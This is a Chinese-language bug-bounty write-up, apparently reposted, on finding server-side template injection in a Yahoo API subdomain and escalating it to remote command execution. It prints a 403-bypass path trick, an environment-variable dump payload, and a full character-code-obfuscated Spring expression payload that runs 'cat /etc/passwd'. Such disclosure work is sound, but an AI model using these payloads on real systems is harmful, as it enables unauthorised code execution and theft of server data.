挖洞经验 | 通过SPRING ENGINE SSTI导致的雅虎RCE

栏目: Java · 发布时间: 7年前

内容简介:最近在漏洞挖掘过程中发现了一个漏洞,之后提交给了雅虎的bug赏金计划,这篇文章我就来分享下是如何挖掘到此漏洞的。在测试Web应用程序的安全性时,信息收集是查找可能存在漏洞的Web资产的重要组成部分,因为可以发现可能会增加攻击面的子域,目录和其他资产。我首先使用在线工具,如shodan.io,censys.io,crt.sh,

最近在漏洞挖掘过程中发现了一个漏洞,之后提交给了雅虎的bug赏金计划,这篇文章我就来分享下是如何挖掘到此漏洞的。

在测试Web应用程序的安全性时,信息收集是查找可能存在漏洞的Web资产的重要组成部分,因为可以发现可能会增加攻击面的子域,目录和其他资产。我首先使用在线工具,如shodan.io,censys.io,crt.sh, dnsdumpster.com ,以及github上的脚本,如dirsearch,aquatone,massdns等这些 工具 进行子域名查找,在使用这些工具后,我发现了子域名 – datax.yahoo.com。这个子域名引起了我的兴趣,因为访问子域名根目录将重定向到 https://datax.yahoo.com/swagger-ui.html – 并在页面随后显示403错误。

挖洞经验 | 通过SPRING ENGINE SSTI导致的雅虎RCE 然后我运行dirsearch脚本快速地扫描目录,以此来尝试发现网站隐藏的目录。我不确定具体结果是什么,但我注意到在向网址添加空格字符时,状态代码已从403更改为200, https://datax.yahoo.com/%20/ ,然后我看到了以下页面。

挖洞经验 | 通过SPRING ENGINE SSTI导致的雅虎RCE

发现是swigger,经过查找发现swagger ui的主页上有api文档,并详细列出了所有可用的接口和请求参数。示例: https://dev.fitbit.com/build/reference/web-api/explore/

从这里开始,我作为未经身份验证的用户,想测试一些API接口,以此发现潜在的漏洞。经过几个接口测试后,我遇到了以下接口,它显示了这个white label error页面,其中我输入的参数值却出现在错误响应中:

挖洞经验 | 通过SPRING ENGINE SSTI导致的雅虎RCE 注意到输入内容显示在页面中,随后我尝试了一些XSS payload,却无法在客户端成功执行javascript。最后当输入payload为${7*7}时,我惊讶地发现算术表达式已在响应中成功执行计算了。

挖洞经验 | 通过SPRING ENGINE SSTI导致的雅虎RCE

令我惊讶的原因是因为乘法表达式已执行,以及语法中“$”字符竟然成功执行了表达式。这通常表明在处理表达式时服务器端使用了某种模板引擎。经过一番研究后,我对这台主机可能使用的模板引擎进行了一些猜测。在呈现Yahoo!到目前为止我发现的所有情况之后 ,我收到了雅虎安全团队的确认,使用的模板是Spring Engine Template,他们要求我试着看看我还能做些什么来进一步利用它。由于我只能用这个做基础数学,他们想看看我是否可以从服务器中提取一些数据,以便他们充分评估漏洞影响。最后发现${T(java.lang.System).getenv()} 可用于检索系统的环境变量。

挖洞经验 | 通过SPRING ENGINE SSTI导致的雅虎RCE 然后,我尝试使用.exec方法执行命令“cat etc/passwd”,以使用.exec方法演示能够执行命令从服务器提取数据。payload: ${T(java.lang.Runtime).getRuntime().exec(‘cat etc/passwd’)},但是该命令原样输出在响应中,并且未执行。我不确定为什么它不起作用,但后来遇到了另一位研究员的博客文章 – http://deadpool.sh/2017/RCE-Springs/ ,他在那里使用 Java 的concat()方法来组合与命令中使用的字符相关联的ASCII值。下面的最终payload用于成功执行命令cat etc/passwd:

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

我不想包含能透露此文件内容的截图。但为了演示,我将使用相同的技术显示执行“id”命令的输出:

挖洞经验 | 通过SPRING ENGINE SSTI导致的雅虎RCE


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

小圈子·大社交

小圈子·大社交

Paul Adams / 王志慧 / 人民邮电出版社 / 2013-1 / 29.00元

网络正在脱离以内容为核心构建的方式,转向以人为核心重新构建。这样深远的变革将影响我们制定商业策略、设计以及营销和广告的方式。 本书作者先后在谷歌和Facebook供职,对于社交网络有深入的研究和丰富的实战经验。他以学术界和工业界最新的调查研究为基础,阐述了人们如何通过社交圈子相互联系的规律,探讨了理念和品牌信息如何通过社交网络传播开来的过程。书中介绍了许多实际的例子,通过这些鲜活的实例,你将......一起来看看 《小圈子·大社交》 这本书的介绍吧!

HTML 压缩/解压工具
HTML 压缩/解压工具

在线压缩/解压 HTML 代码

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换